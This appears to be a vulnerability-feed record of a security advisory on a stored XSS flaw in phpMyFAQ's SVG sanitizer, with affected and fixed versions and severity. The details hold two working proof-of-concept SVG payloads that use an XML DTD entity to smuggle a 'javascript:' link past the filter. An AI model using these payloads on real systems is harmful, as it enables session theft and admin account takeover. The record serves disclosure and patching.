{"schema":"threatline.record/2","record":{"id":"GHSA-j3v5-p957-w6gq","aliases":["GHSA-j3v5-p957-w6gq"],"summary":"Stored XSS via SVG DTD Entity Bypass in SvgSanitizer","details":"### Summary\r\nThe regex-based SvgSanitizer decodes HTML entities (html_entity_decode) before\r\npattern matching, but does not resolve XML custom entities defined in an internal\r\nDOCTYPE subset. An attacker with FAQ_EDIT permission can upload an SVG containing\r\n`<!ENTITY j \"javascript\">` and `<a href=\"&j;:alert(...)\">`. isSafe() returns true,\r\nthe file is stored verbatim, and the browser's XML parser resolves the entity →\r\nXSS on click.\r\n\r\n## Distinction from CVE-2026-34974 \r\nCVE-2026-34974 (patched in 4.1.1) used HTML numeric entities (&#106;).\r\nThis bypass uses **XML DTD custom entities**, which html_entity_decode() does not\r\nresolve. Confirmed on 4.2.0-beta (commit f22c436) — isSafe()=TRUE for the DTD\r\npayload while the CVE-2026-34974 payload is correctly blocked.\r\n\r\n## Affected component \r\n- `src/phpMyFAQ/Helper/SvgSanitizer.php` (decodeAllEntities / isSafe)\r\n- `Controller/Administration/Api/ImageController.php:147` (upload flow)\r\n\r\n## PoC Payload (valid XML, passes isSafe): \r\n```xml\r\n<?xml version=\"1.0\"?>\r\n<!DOCTYPE svg [<!ENTITY j \"javascript\">]>\r\n<svg xmlns=\"http://www.w3.org/2000/svg\">\r\n  <a href=\"&j;:alert(document.domain)\">\r\n    <text x=\"20\" y=\"40\" fill=\"red\">Click me</text>\r\n  </a>\r\n</svg>\r\n```\r\n\r\nOR \r\n\r\n```xml\r\n<?xml version=\"1.0\"?>\r\n<!DOCTYPE svg [\r\n  <!ENTITY j \"javascript\">\r\n]>\r\n<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 300 150\">\r\n  <rect width=\"300\" height=\"150\" fill=\"#c0392b\" rx=\"10\"/>\r\n  <text x=\"150\" y=\"55\" text-anchor=\"middle\" font-family=\"Arial\" font-size=\"18\" fill=\"white\" font-weight=\"bold\">phpMyFAQ XSS PoC</text>\r\n  <a href=\"&j;:alert('XSS:'+document.domain)\">\r\n    <rect x=\"75\" y=\"70\" width=\"150\" height=\"50\" fill=\"white\" rx=\"8\" cursor=\"pointer\"/>\r\n    <text x=\"150\" y=\"102\" text-anchor=\"middle\" font-family=\"Arial\" font-size=\"16\" fill=\"#c0392b\" cursor=\"pointer\">Click me</text>\r\n  </a>\r\n</svg>\r\n```\r\n\r\n### Impact\r\n- Session hijacking: the XSS fires in the phpMyFAQ domain context, giving access to document.cookie and session tokens of any user viewing the SVG\r\n- Admin account takeover: an editor uploads the SVG, an admin clicks it → attacker steals admin session\r\n- Persistent: the SVG is stored server-side in content/user/images/, the payload fires on every view (no user interaction beyond a click)\r\n- No CSP protection: SVGs are served as Content-Type: image/svg+xml without Content-Disposition: attachment or script-src CSP header\r\n\r\n<img width=\"1280\" height=\"900\" alt=\"01_login_page\" src=\"https://github.com/user-attachments/assets/5b03b84c-d15a-4248-af6a-0bd024309dcc\" />\r\n<img width=\"1280\" height=\"900\" alt=\"02_login_filled\" src=\"https://github.com/user-attachments/assets/e2454eb3-520c-48a9-bad7-4a44da25d3b8\" />\r\n<img width=\"1280\" height=\"900\" alt=\"03_admin_dashboard\" src=\"https://github.com/user-attachments/assets/61197257-848c-419c-9d5e-70c99a2278a3\" />\r\n<img width=\"1280\" height=\"900\" alt=\"04_faq_add_page\" src=\"https://github.com/user-attachments/assets/138d4934-e8f6-4159-aed5-b7efa08cd9f0\" />\r\n<img width=\"1280\" height=\"900\" alt=\"05_image_dialog\" src=\"https://github.com/user-attachments/assets/b53f9a23-62fa-4f42-99ec-6f4e76484305\" />\r\n<img width=\"1280\" height=\"900\" alt=\"06_svg_uploaded\" src=\"https://github.com/user-attachments/assets/941ebf5c-a753-4567-8bb5-1353fb363a79\" />\r\n<img width=\"1280\" height=\"900\" alt=\"07_after_upload\" src=\"https://github.com/user-attachments/assets/f3edf0ad-8747-41db-bec9-2763fb376be9\" />\r\n<img width=\"1280\" height=\"800\" alt=\"08_svg_before_click\" src=\"https://github.com/user-attachments/assets/7b5e3d49-3142-4706-9a2d-aa05298f5b90\" />\r\n<img width=\"1242\" height=\"855\" alt=\"09_xss_alert_visible\" src=\"https://github.com/user-attachments/assets/71af7326-4247-4511-baf1-d079ac0944ee\" />\r\n\r\n","categories":["Unclassified"],"product":"phpMyFAQ","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-j3v5-p957-w6gq","source_modified_at":"2026-10-03T11:36:04Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"phpMyFAQ","ecosystem":null},"range":"<= 4.2.0-alpha.2"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-j3v5-p957-w6gq","source_modified_at":"2026-10-03T11:36:04Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"phpMyFAQ","ecosystem":null},"version":"4.2.0-beta"}],"cvss":5.4,"severity":"Medium","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-10-03T11:36:04Z","modified_at":"2026-10-03T11:36:04Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-j3v5-p957-w6gq","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-03T11:36:04Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-10-03T11:36:04Z","content_hash":"30d4e8f3a9371c23afbbc43b415a164040c617b54929dc45c5fc127789aecbe0"}}
